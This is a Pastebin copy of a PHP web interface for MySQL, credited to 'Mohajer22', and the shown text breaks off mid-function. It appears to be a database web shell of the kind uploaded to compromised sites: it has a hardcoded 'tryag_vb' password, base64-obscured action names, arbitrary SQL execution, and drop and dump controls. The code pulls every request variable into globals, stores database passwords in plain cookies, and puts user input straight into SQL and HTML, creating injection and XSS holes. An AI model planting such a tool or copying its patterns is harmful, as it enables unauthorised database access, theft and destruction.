Advertisement
i-Hmx

PHP Mysql interface

Feb 20th, 2012
1,723
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 36.62 KB | None | 0 0
  1. <?
  2. $PASSWORD = "tryag_vb";
  3. $USERNAME = "102030";
  4.  
  5. if ( function_exists('ini_get') ) {
  6.     $onoff = ini_get('register_globals');
  7. } else {
  8.     $onoff = get_cfg_var('register_globals');
  9. }
  10. if ($onoff != 1) {
  11.     @extract($HTTP_SERVER_VARS, EXTR_SKIP);
  12.     @extract($HTTP_COOKIE_VARS, EXTR_SKIP);
  13.     @extract($HTTP_POST_FILES, EXTR_SKIP);
  14.     @extract($HTTP_POST_VARS, EXTR_SKIP);
  15.     @extract($HTTP_GET_VARS, EXTR_SKIP);
  16.     @extract($HTTP_ENV_VARS, EXTR_SKIP);
  17. }
  18.  
  19. function logon() {
  20.     global $PHP_SELF;
  21.     setcookie( "mysql_web_admin_username" );
  22.     setcookie( "mysql_web_admin_password" );
  23.     setcookie( "mysql_web_admin_hostname" );
  24.     echo "<table width=100% height=100%><tr><td><center>\n";
  25.     echo "<table cellpadding=2><tr><td><center>\n";
  26.     echo "<table cellpadding=20><tr><td><center>\n";
  27.     echo "<h1>MySQL Interface (Developed By Mohajer22)</h1>\n";
  28.     echo "<form action='$PHP_SELF'>\n";
  29.     echo "<input type=hidden name=action value=bG9nb25fc3VibWl0>\n";
  30.     echo "<table cellpadding=5 cellspacing=1>\n";
  31.     echo "<tr><td>Hostname </td><td> <input type=text name=hostname value='localhost'></td></tr>\n";
  32.     echo "<tr><td>Username </td><td> <input type=text name=username></td></tr>\n";
  33.     echo "<tr><td>Password </td><td> <input type=password name=password></td></tr>\n";
  34.     echo "</table><p>\n";
  35.     echo "<input type=submit value='Enter'>\n";
  36.     echo "<input type=reset value='Clear'><br>\n";
  37.     echo "</form>\n";
  38.     echo "</center></td></tr></table>\n";
  39.     echo "</center></td></tr></table>\n";
  40.     echo "<p><hr width=300>\n";
  41.     echo "</center></td></tr></table>\n";
  42. }
  43.  
  44. function logon_submit() {
  45.     global $username, $password, $hostname ,$PHP_SELF;
  46.     if($hostname =='')
  47.         $hostname = 'localhost';
  48.     setcookie( "mysql_web_admin_username", $username );
  49.     setcookie( "mysql_web_admin_password", $password );
  50.     setcookie( "mysql_web_admin_hostname", $hostname );
  51.     echo "<META HTTP-EQUIV=Refresh CONTENT='0; URL=$PHP_SELF?action=bGlzdERCcw=='>";
  52.  
  53. }
  54.  
  55. function echoQueryResult() {
  56.     global $queryStr, $errMsg;
  57.  
  58.     if( $errMsg == "" ) $errMsg = "Success";
  59.     if( $queryStr != "" ) {
  60.         echo "<table cellpadding=5>\n";
  61.         echo "<tr><td>Query</td><td>$queryStr</td></tr>\n";
  62.         echo "<tr><td>Result</td><td>$errMsg</td></tr>\n";
  63.         echo "</table><p>\n";
  64.     }
  65. }
  66.  
  67. function listDatabases() {
  68.     global $mysqlHandle, $PHP_SELF;
  69.  
  70.     echo "<h1>Databases List</h1>\n";
  71.  
  72.     echo "<form action='$PHP_SELF'>\n";
  73.     echo "<input type=hidden name=action value=createDB>\n";
  74.     echo "<input type=text name=dbname>\n";
  75.     echo "<input type=submit value='Create Database'>\n";
  76.     echo "</form>\n";
  77.     echo "<hr>\n";
  78.  
  79.     echo "<table cellspacing=1 cellpadding=5>\n";
  80.  
  81.     $pDB = mysql_list_dbs( $mysqlHandle );
  82.     $num = mysql_num_rows( $pDB );
  83.     for( $i = 0; $i < $num; $i++ ) {
  84.         $dbname = mysql_dbname( $pDB, $i );
  85.         echo "<tr>\n";
  86.         echo "<td>$dbname</td>\n";
  87.         echo "<td><a href='$PHP_SELF?action=listTables&dbname=$dbname'>Tables</a></td>\n";
  88.         echo "<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a></td>\n";
  89.         echo "<td><a href='$PHP_SELF?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
  90.         echo "</tr>\n";
  91.     }
  92.     echo "</table>\n";
  93. }
  94.  
  95. function createDatabase() {
  96.     global $mysqlHandle, $dbname, $PHP_SELF;
  97.  
  98.     mysql_create_db( $dbname, $mysqlHandle );
  99.     listDatabases();
  100. }
  101.  
  102. function dropDatabase() {
  103.     global $mysqlHandle, $dbname, $PHP_SELF;
  104.  
  105.     mysql_drop_db( $dbname, $mysqlHandle );
  106.     listDatabases();
  107. }
  108.  
  109. function listTables() {
  110.     global $mysqlHandle, $dbname, $PHP_SELF;
  111.  
  112.  
  113.     echo "<h1>Tables List</h1>\n";
  114.     echo "<p class=location>$dbname</p>\n";
  115.     echoQueryResult();
  116.     echo "<form action='$PHP_SELF'>\n";
  117.     echo "<input type=hidden name=action value=createTable>\n";
  118.     echo "<input type=hidden name=dbname value=$dbname>\n";
  119.     echo "<input type=text name=tablename>\n";
  120.     echo "<input type=submit value='Create Table'>\n";
  121.     echo "</form>\n";
  122.     echo "<form action='$PHP_SELF'>\n";
  123.     echo "<input type=hidden name=action value=query>\n";
  124.     echo "<input type=hidden name=dbname value=$dbname>\n";
  125.     echo "<input type=text size=120 name=queryStr>\n";
  126.     echo "<input type=submit value='Query'>\n";
  127.     echo "</form>\n";
  128.     echo "<hr>\n";
  129.  
  130.     $pTable = mysql_list_tables( $dbname );
  131.  
  132.     if( $pTable == 0 ) {
  133.         $msg  = mysql_error();
  134.         echo "<h3>Error : $msg</h3><p>\n";
  135.         return;
  136.     }
  137.     $num = mysql_num_rows( $pTable );
  138.  
  139.     echo "<table cellspacing=1 cellpadding=5>\n";
  140.  
  141.     for( $i = 0; $i < $num; $i++ ) {
  142.         $tablename = mysql_tablename( $pTable, $i );
  143.  
  144.         echo "<tr>\n";
  145.         echo "<td>\n";
  146.         echo "$tablename\n";
  147.         echo "</td>\n";
  148.         echo "<td>\n";
  149.         echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  150.         echo "</td>\n";
  151.         echo "<td>\n";
  152.         echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename'>Data</a>\n";
  153.         echo "</td>\n";
  154.         echo "<td>\n";
  155.         echo "<a href='$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Drop Table \'$tablename\'?')\">Drop</a>\n";
  156.         echo "</td>\n";
  157.         echo "<td>\n";
  158.         echo "<a href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Dump Table \'$tablename\'?')\">Dump</a>\n";
  159.         echo "</td>\n";
  160.         echo "</tr>\n";
  161.     }
  162.  
  163.     echo "</table>";
  164. }
  165.  
  166. function createTable() {
  167.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  168.  
  169.     $queryStr = "CREATE TABLE $tablename ( no INT )";
  170.     mysql_select_db( $dbname, $mysqlHandle );
  171.     mysql_query( $queryStr, $mysqlHandle );
  172.     $errMsg = mysql_error();
  173.  
  174.     listTables();
  175. }
  176.  
  177. function dropTable() {
  178.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  179.  
  180.     $queryStr = "DROP TABLE $tablename";
  181.     mysql_select_db( $dbname, $mysqlHandle );
  182.     mysql_query( $queryStr, $mysqlHandle );
  183.     $errMsg = mysql_error();
  184.  
  185.     listTables();
  186. }
  187.  
  188. function viewSchema() {
  189.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  190.  
  191.     echo "<h1>Table Schema</h1>\n";
  192.     echo "<p class=location>$dbname &gt; $tablename</p>\n";
  193.  
  194.     echoQueryResult();
  195.  
  196.     echo "<a href='$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename'>Add Field</a> | \n";
  197.     echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename'>View Data</a>\n";
  198.     echo "<hr>\n";
  199.  
  200.     $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  201.     $num = mysql_num_rows( $pResult );
  202.  
  203.     echo "<table cellspacing=1 cellpadding=5>\n";
  204.     echo "<tr>\n";
  205.     echo "<th>Field</th>\n";
  206.     echo "<th>Type</th>\n";
  207.     echo "<th>Null</th>\n";
  208.     echo "<th>Key</th>\n";
  209.     echo "<th>Default</th>\n";
  210.     echo "<th>Extra</th>\n";
  211.     echo "<th colspan=2>Action</th>\n";
  212.     echo "</tr>\n";
  213.  
  214.  
  215.     for( $i = 0; $i < $num; $i++ ) {
  216.         $field = mysql_fetch_array( $pResult );
  217.         echo "<tr>\n";
  218.         echo "<td>".$field["Field"]."</td>\n";
  219.         echo "<td>".$field["Type"]."</td>\n";
  220.         echo "<td>".$field["Null"]."</td>\n";
  221.         echo "<td>".$field["Key"]."</td>\n";
  222.         echo "<td>".$field["Default"]."</td>\n";
  223.         echo "<td>".$field["Extra"]."</td>\n";
  224.         $fieldname = $field["Field"];
  225.         echo "<td><a href='$PHP_SELF?action=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname'>Edit</a></td>\n";
  226.         echo "<td><a href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>\n";
  227.         echo "</tr>\n";
  228.     }
  229.     echo "</table>\n";
  230.  
  231. }
  232.  
  233. function manageField( $cmd ) {
  234.     global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF;
  235.  
  236.     if( $cmd == "add" )
  237.         echo "<h1>Add Field</h1>\n";
  238.     else if( $cmd == "edit" ) {
  239.         echo "<h1>Edit Field</h1>\n";
  240.         $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  241.         $num = mysql_num_rows( $pResult );
  242.         for( $i = 0; $i < $num; $i++ ) {
  243.             $field = mysql_fetch_array( $pResult );
  244.             if( $field["Field"] == $fieldname ) {
  245.                 $fieldtype = $field["Type"];
  246.                 $fieldkey = $field["Key"];
  247.                 $fieldextra = $field["Extra"];
  248.                 $fieldnull = $field["Null"];
  249.                 $fielddefault = $field["Default"];
  250.                 break;
  251.             }
  252.         }
  253.         $type = strtok( $fieldtype, " (,)\n" );
  254.         if( strpos( $fieldtype, "(" ) ) {
  255.             if( $type == "enum" | $type == "set" ) {
  256.                 $valuelist = strtok( " ()\n" );
  257.             } else {
  258.                 $M = strtok( " (,)\n" );
  259.                 if( strpos( $fieldtype, "," ) )
  260.                     $D = strtok( " (,)\n" );
  261.             }
  262.         }
  263.     }
  264.  
  265.     echo "<p class=location>$dbname &gt; $tablename</p>\n";
  266.     echo "<form action=$PHP_SELF>\n";
  267.  
  268.     if( $cmd == "add" )
  269.         echo "<input type=hidden name=action value=addField_submit>\n";
  270.     else if( $cmd == "edit" ) {
  271.         echo "<input type=hidden name=action value=editField_submit>\n";
  272.         echo "<input type=hidden name=old_name value=$fieldname>\n";
  273.     }
  274.     echo "<input type=hidden name=dbname value=$dbname>\n";
  275.     echo "<input type=hidden name=tablename value=$tablename>\n";
  276.  
  277.     echo "<h3>Name</h3>\n";
  278.     echo "<input type=text name=name value=$fieldname><p>\n";
  279.     echo '
  280.  
  281. <h3>Type</h3>
  282.  
  283. <font size=2>
  284. * `M\' indicates the maximum display size.<br>
  285. * `D\' applies to floating-point types and indicates the number of digits following the decimal point.<br>
  286. </font>
  287.  
  288. <table>
  289. <tr>
  290. <th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th>binary</th>
  291. </tr>
  292. <tr>
  293. <td><input type=radio name=type value="TINYINT" '; if( $type == "tinyint" ) echo "checked";echo '>TINYINT (-128 ~ 127)</td>
  294. <td align=center>O</td>
  295. <td>&nbsp</td>
  296. <td align=center>O</td>
  297. <td align=center>O</td>
  298. <td>&nbsp</td>
  299. </tr>
  300. <tr>
  301. <td><input type=radio name=type value="SMALLINT" '; if( $type == "smallint" ) echo "checked";echo '>SMALLINT (-32768 ~ 32767)</td>
  302. <td align=center>O</td>
  303. <td>&nbsp</td>
  304. <td align=center>O</td>
  305. <td align=center>O</td>
  306. <td>&nbsp</td>
  307. </tr>
  308. <tr>
  309. <td><input type=radio name=type value="MEDIUMINT" '; if( $type == "mediumint" ) echo "checked";echo '>MEDIUMINT (-8388608 ~ 8388607)</td>
  310.  
  311. <td align=center>O</td>
  312. <td>&nbsp</td>
  313. <td align=center>O</td>
  314. <td align=center>O</td>
  315. <td>&nbsp</td>
  316. </tr>
  317. <tr>
  318. <td><input type=radio name=type value="INT" '; if( $type == "int" ) echo "checked";echo '>INT (-2147483648 ~ 2147483647)</td>
  319. <td align=center>O</td>
  320. <td>&nbsp</td>
  321. <td align=center>O</td>
  322. <td align=center>O</td>
  323. <td>&nbsp</td>
  324. </tr>
  325. <tr>
  326. <td><input type=radio name=type value="BIGINT" '; if( $type == "bigint" ) echo "checked";echo '>BIGINT (-9223372036854775808 ~ 9223372036854775807)</td>
  327. <td align=center>O</td>
  328. <td>&nbsp</td>
  329. <td align=center>O</td>
  330. <td align=center>O</td>
  331. <td>&nbsp</td>
  332. </tr>
  333. <tr>
  334. <td><input type=radio name=type value="FLOAT" '; if( $type == "float" ) echo "checked";echo '>FLOAT</td>
  335. <td align=center>O</td>
  336. <td align=center>O</td>
  337. <td>&nbsp</td>
  338. <td align=center>O</td>
  339. <td>&nbsp</td>
  340. </tr>
  341. <tr>
  342. <td><input type=radio name=type value="DOUBLE" '; if( $type == "double" ) echo "checked";echo '>DOUBLE</td>
  343. <td align=center>O</td>
  344. <td align=center>O</td>
  345. <td>&nbsp</td>
  346. <td align=center>O</td>
  347. <td>&nbsp</td>
  348. </tr>
  349. <tr>
  350. <td><input type=radio name=type value="DECIMAL" '; if( $type == "decimal" ) echo "checked";echo '>DECIMAL(NUMERIC)</td>
  351. <td align=center>O</td>
  352. <td align=center>O</td>
  353. <td>&nbsp</td>
  354. <td align=center>O</td>
  355. <td>&nbsp</td>
  356. </tr>
  357. <tr>
  358. <td><input type=radio name=type value="DATE" '; if( $type == "date" ) echo "checked";echo '>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td>
  359. <td>&nbsp</td>
  360. <td>&nbsp</td>
  361. <td>&nbsp</td>
  362. <td>&nbsp</td>
  363. <td>&nbsp</td>
  364. </tr>
  365. <tr>
  366. <td><input type=radio name=type value="DATETIME" '; if( $type == "datetime" ) echo "checked";echo '>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>
  367. <td>&nbsp</td>
  368. <td>&nbsp</td>
  369. <td>&nbsp</td>
  370. <td>&nbsp</td>
  371. <td>&nbsp</td>
  372. </tr>
  373. <tr>
  374. <td><input type=radio name=type value="TIMESTAMP" '; if( $type == "timestamp" ) echo "checked";echo '>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>
  375. <td align=center>O</td>
  376. <td>&nbsp</td>
  377. <td>&nbsp</td>
  378. <td>&nbsp</td>
  379. <td>&nbsp</td>
  380. </tr>
  381. <tr>
  382. <td><input type=radio name=type value="TIME" '; if( $type == "time" ) echo "checked";echo '>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td>
  383. <td>&nbsp</td>
  384. <td>&nbsp</td>
  385. <td>&nbsp</td>
  386. <td>&nbsp</td>
  387. <td>&nbsp</td>
  388. </tr>
  389. <tr>
  390. <td><input type=radio name=type value="YEAR" '; if( $type == "year" ) echo "checked";echo '>YEAR (1901 ~ 2155, 0000, YYYY)</td>
  391. <td>&nbsp</td>
  392. <td>&nbsp</td>
  393. <td>&nbsp</td>
  394. <td>&nbsp</td>
  395. <td>&nbsp</td>
  396. </tr>
  397. <tr>
  398. <td><input type=radio name=type value="CHAR" '; if( $type == "char" ) echo "checked";echo '>CHAR</td>
  399. <td align=center>O</td>
  400. <td>&nbsp</td>
  401. <td>&nbsp</td>
  402. <td>&nbsp</td>
  403. <td align=center>O</td>
  404. </tr>
  405. <tr>
  406. <td><input type=radio name=type value="VARCHAR" '; if( $type == "varchar" ) echo "checked";echo '>VARCHAR</td>
  407. <td align=center>O</td>
  408. <td>&nbsp</td>
  409. <td>&nbsp</td>
  410. <td>&nbsp</td>
  411. <td align=center>O</td>
  412. </tr>
  413. <tr>
  414. <td><input type=radio name=type value="TINYTEXT" '; if( $type == "tinytext" ) echo "checked";echo '>TINYTEXT (0 ~ 255)</td>
  415. <td>&nbsp</td>
  416. <td>&nbsp</td>
  417. <td>&nbsp</td>
  418. <td>&nbsp</td>
  419. <td>&nbsp</td>
  420. </tr>
  421. <tr>
  422. <td><input type=radio name=type value="TEXT" '; if( $type == "text" ) echo "checked";echo '>TEXT (0 ~ 65535)</td>
  423. <td>&nbsp</td>
  424. <td>&nbsp</td>
  425. <td>&nbsp</td>
  426. <td>&nbsp</td>
  427. <td>&nbsp</td>
  428. </tr>
  429. <tr>
  430. <td><input type=radio name=type value="MEDIUMTEXT" '; if( $type == "mediumtext" ) echo "checked";echo '>MEDIUMTEXT (0 ~ 16777215)</td>
  431. <td>&nbsp</td>
  432. <td>&nbsp</td>
  433. <td>&nbsp</td>
  434. <td>&nbsp</td>
  435. <td>&nbsp</td>
  436. </tr>
  437. <tr>
  438. <td><input type=radio name=type value="LONGTEXT" '; if( $type == "longtext" ) echo "checked";echo '>LONGTEXT (0 ~ 4294967295)</td>
  439. <td>&nbsp</td>
  440. <td>&nbsp</td>
  441. <td>&nbsp</td>
  442. <td>&nbsp</td>
  443. <td>&nbsp</td>
  444. </tr>
  445. <tr>
  446. <td><input type=radio name=type value="TINYBLOB" '; if( $type == "tinyblob" ) echo "checked";echo '>TINYBLOB (0 ~ 255)</td>
  447. <td>&nbsp</td>
  448. <td>&nbsp</td>
  449. <td>&nbsp</td>
  450. <td>&nbsp</td>
  451. <td>&nbsp</td>
  452. </tr>
  453. <tr>
  454. <td><input type=radio name=type value="BLOB" '; if( $type == "blob" ) echo "checked";echo '>BLOB (0 ~ 65535)</td>
  455. <td>&nbsp</td>
  456. <td>&nbsp</td>
  457. <td>&nbsp</td>
  458. <td>&nbsp</td>
  459. <td>&nbsp</td>
  460. </tr>
  461. <tr>
  462. <td><input type=radio name=type value="MEDIUMBLOB" '; if( $type == "mediumblob" ) echo "checked";echo '>MEDIUMBLOB (0 ~ 16777215)</td>
  463. <td>&nbsp</td>
  464. <td>&nbsp</td>
  465. <td>&nbsp</td>
  466. <td>&nbsp</td>
  467. <td>&nbsp</td>
  468. </tr>
  469. <tr>
  470. <td><input type=radio name=type value="LONGBLOB" '; if( $type == "longblob" ) echo "checked";echo '>LONGBLOB (0 ~ 4294967295)</td>
  471. <td>&nbsp</td>
  472. <td>&nbsp</td>
  473. <td>&nbsp</td>
  474. <td>&nbsp</td>
  475. <td>&nbsp</td>
  476. </tr>
  477. <tr>
  478. <td><input type=radio name=type value="ENUM" '; if( $type == "enum" ) echo "checked";echo '>ENUM</td>
  479. <td colspan=5><center>value list</center></td>
  480. </tr>
  481. <tr>
  482. <td><input type=radio name=type value="SET" '; if( $type == "set" ) echo "checked";echo '>SET</td>
  483. <td colspan=5><center>value list</center></td>
  484. </tr>
  485.  
  486. </table>
  487. <table>
  488. <tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: \'apple\', \'orange\', \'banana\') </th></tr>
  489. <tr>
  490. <td align=center><input type=text size=4 name=M '; if( $M != "" ) echo "value=$M";echo '></td>
  491. <td align=center><input type=text size=4 name=D '; if( $D != "" ) echo "value=$D";echo '></td>
  492. <td align=center><input type=checkbox name=unsigned value="UNSIGNED" '; if( strpos( $fieldtype, "unsigned" ) ) echo "checked";echo '></td>
  493. <td align=center><input type=checkbox name=zerofill value="ZEROFILL" '; if( strpos( $fieldtype, "zerofill" ) ) echo "checked";echo '></td>
  494. <td align=center><input type=checkbox name=binary value="BINARY" '; if( strpos( $fieldtype, "binary" )  ) echo "checked";echo '></td>
  495. <td align=center><input type=text size=60 name=valuelist '; if( $valuelist != "" ) echo "value=\"$valuelist\"";echo '></td>
  496. </tr>
  497. </table>
  498.  
  499.  
  500. <h3>Flags</h3>
  501. <table>
  502. <tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>
  503. <tr>
  504. <td align=center><input type=checkbox name=not_null value="NOT NULL" '; if( $fieldnull != "YES" ) echo "checked";echo '></td>
  505. <td align=center><input type=text name=default_value '; if( $fielddefault != "" ) echo "value=$fielddefault";echo '></td>
  506. <td align=center><input type=checkbox name=auto_increment value="AUTO_INCREMENT" '; if( $fieldextra == "auto_increment" ) echo "checked";echo '></td>
  507. <td align=center><input type=checkbox name=primary_key value="PRIMARY KEY" '; if( $fieldkey == "PRI" ) echo "checked";echo '></td>
  508. </tr>
  509. </table>
  510.  
  511. <p>';
  512.  
  513.     if( $cmd == "add" )
  514.         echo "<input type=submit value='Add Field'>\n";
  515.     else if( $cmd == "edit" )
  516.         echo "<input type=submit value='Edit Field'>\n";
  517.     echo "<input type=button value=Cancel onClick='history.back()'>\n";
  518.     echo "</form>\n";
  519. }
  520.  
  521. function manageField_submit( $cmd ) {
  522.     global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg,
  523.         $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist;
  524.  
  525.     if( $cmd == "add" )
  526.         $queryStr = "ALTER TABLE $tablename ADD $name ";
  527.     else if( $cmd == "edit" )
  528.         $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name ";
  529.  
  530.     if( $M != "" )
  531.         if( $D != "" )
  532.             $queryStr .= "$type($M,$D) ";
  533.         else
  534.             $queryStr .= "$type($M) ";
  535.     else if( $valuelist != "" ) {
  536.         $valuelist = stripslashes( $valuelist );
  537.         $queryStr .= "$type($valuelist) ";
  538.     } else
  539.         $queryStr .= "$type ";
  540.  
  541.     $queryStr .= "$unsigned $zerofill $binary ";
  542.  
  543.     if( $default_value != "" )
  544.         $queryStr .= "DEFAULT '$default_value' ";
  545.  
  546.     $queryStr .= "$not_null $auto_increment";
  547.  
  548.     mysql_select_db( $dbname, $mysqlHandle );
  549.     mysql_query( $queryStr, $mysqlHandle );
  550.     $errMsg = mysql_error();
  551.  
  552.     // key change
  553.     $keyChange = false;
  554.     $result = mysql_query( "SHOW KEYS FROM $tablename" );
  555.     $primary = "";
  556.     while( $row = mysql_fetch_array($result) )
  557.         if( $row["Key_name"] == "PRIMARY" ) {
  558.             if( $row[Column_name] == $name )
  559.                 $keyChange = true;
  560.             else
  561.                 $primary .= ", $row[Column_name]";
  562.         }
  563.     if( $primary_key == "PRIMARY KEY" ) {
  564.         $primary .= ", $name";
  565.         $keyChange = !$keyChange;
  566.     }
  567.     $primary = substr( $primary, 2 );
  568.     if( $keyChange == true ) {
  569.         $q = "ALTER TABLE $tablename DROP PRIMARY KEY";
  570.         mysql_query( $q );
  571.         $queryStr .= "<br>\n" . $q;
  572.         $errMsg .= "<br>\n" . mysql_error();
  573.         $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )";
  574.         mysql_query( $q );
  575.         $queryStr .= "<br>\n" . $q;
  576.         $errMsg .= "<br>\n" . mysql_error();
  577.     }
  578.  
  579.     viewSchema();
  580. }
  581.  
  582. function dropField() {
  583.     global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  584.  
  585.     $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
  586.     mysql_select_db( $dbname, $mysqlHandle );
  587.     mysql_query( $queryStr , $mysqlHandle );
  588.     $errMsg = mysql_error();
  589.  
  590.     viewSchema();
  591. }
  592.  
  593. function viewData( $queryStr ) {
  594.     global $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;
  595.  
  596.     echo "<h1>Data in Table</h1>\n";
  597.     if( $tablename != "" )
  598.         echo "<p class=location>$dbname &gt; $tablename</p>\n";
  599.     else
  600.         echo "<p class=location>$dbname</p>\n";
  601.  
  602.     $queryStr = stripslashes( $queryStr );
  603.     if( $queryStr == "" ) {
  604.         $queryStr = "SELECT * FROM $tablename";
  605.         if( $orderby != "" )
  606.             $queryStr .= " ORDER BY $orderby";
  607.         echo "<a href='$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename'>Add Data</a> | \n";
  608.         echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  609.     }
  610.  
  611.     $pResult = mysql_db_query( $dbname, $queryStr );
  612.     $fieldt = mysql_fetch_field($pResult);
  613.     $tablename = $fieldt->table;
  614.     $errMsg = mysql_error();
  615.  
  616.     $GLOBALS[queryStr] = $queryStr;
  617.  
  618.     if( $pResult == false ) {
  619.         echoQueryResult();
  620.         return;
  621.     }
  622.     if( $pResult == 1 ) {
  623.         $errMsg = "Success";
  624.         echoQueryResult();
  625.         return;
  626.     }
  627.  
  628.     echo "<hr>\n";
  629.  
  630.     $row = mysql_num_rows( $pResult );
  631.     $col = mysql_num_fields( $pResult );
  632.  
  633.     if( $row == 0 ) {
  634.         echo "No Data Exist!";
  635.         return;
  636.     }
  637.  
  638.     if( $rowperpage == "" ) $rowperpage = 30;
  639.     if( $page == "" ) $page = 0;
  640.     else $page--;
  641.     mysql_data_seek( $pResult, $page * $rowperpage );
  642.  
  643.     echo "<table cellspacing=1 cellpadding=2>\n";
  644.     echo "<tr>\n";
  645.     for( $i = 0; $i < $col; $i++ ) {
  646.         $field = mysql_fetch_field( $pResult, $i );
  647.         echo "<th>";
  648.         if($action == "dmlld0RhdGE=")
  649.             echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
  650.         else
  651.             echo $field->name."\n";
  652.         echo "</th>\n";
  653.     }
  654.     echo "<th colspan=2>Action</th>\n";
  655.     echo "</tr>\n";
  656.  
  657.     for( $i = 0; $i < $rowperpage; $i++ ) {
  658.         $rowArray = mysql_fetch_row( $pResult );
  659.         if( $rowArray == false ) break;
  660.         echo "<tr>\n";
  661.         $key = "";
  662.         for( $j = 0; $j < $col; $j++ ) {
  663.             $data = $rowArray[$j];
  664.  
  665.             $field = mysql_fetch_field( $pResult, $j );
  666.             if( $field->primary_key == 1 )
  667.                 $key .= "&" . $field->name . "=" . $data;
  668.  
  669.             if( strlen( $data ) > 30 )
  670.                 $data = substr( $data, 0, 30 ) . "...";
  671.             $data = htmlspecialchars( $data );
  672.             echo "<td>\n";
  673.             echo "$data\n";
  674.             echo "</td>\n";
  675.         }
  676.  
  677.         if( $key == "" )
  678.             echo "<td colspan=2>no Key</td>\n";
  679.         else {
  680.             echo "<td><a href='$PHP_SELF?action=editData$key&dbname=$dbname&tablename=$tablename'>Edit</a></td>\n";
  681.             echo "<td><a href='$PHP_SELF?action=deleteData$key&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n";
  682.         }
  683.         echo "</tr>\n";
  684.     }
  685.     echo "</table>\n";
  686.  
  687.     echo "<font size=2>\n";
  688.     if($action == "dmlld0RhdGE=")
  689.         echo "<form action='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename' method=post>\n";
  690.     else
  691.         echo "<form action='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr' method=post>\n";
  692.  
  693.     echo ($page+1)."/".(int)($row/$rowperpage+1)." page";
  694.     echo "</font>\n";
  695.     echo " | ";
  696.     if( $page > 0 ) {
  697.         if($action == "dmlld0RhdGE=")
  698.             echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&page=".($page);
  699.         else
  700.             echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page);
  701.         if( $orderby != "" && $action == "dmlld0RhdGE=")
  702.             echo "&orderby=$orderby";
  703.         echo "'>Prev</a>\n";
  704.     } else
  705.         echo "Prev";
  706.     echo " | ";
  707.     if( $page < ($row/$rowperpage)-1 ) {
  708.         if($action == "dmlld0RhdGE=")
  709.             echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&page=".($page+2);
  710.         else
  711.             echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page+2);
  712.         if( $orderby != "" && $action == "dmlld0RhdGE=")
  713.             echo "&orderby=$orderby";
  714.         echo "'>Next</a>\n";
  715.     } else
  716.         echo "Next";
  717.     echo " | ";
  718.     if( $row > $rowperpage ) {
  719.         echo "<input type=text size=4 name=page>\n";
  720.         echo "<input type=submit value='Go'>\n";
  721.     }
  722.     echo "</form>\n";
  723.     echo "</font>\n";
  724. }
  725.  
  726. function manageData( $cmd ) {
  727.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF;
  728.  
  729.     if( $cmd == "add" )
  730.         echo "<h1>Add Data</h1>\n";
  731.     else if( $cmd == "edit" ) {
  732.         echo "<h1>Edit Data</h1>\n";
  733.         $pResult = mysql_list_fields( $dbname, $tablename );
  734.         $num = mysql_num_fields( $pResult );
  735.  
  736.         $key = "";
  737.         for( $i = 0; $i < $num; $i++ ) {
  738.             $field = mysql_fetch_field( $pResult, $i );
  739.             if( $field->primary_key == 1 )
  740.                 if( $field->numeric == 1 )
  741.                     $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  742.                 else
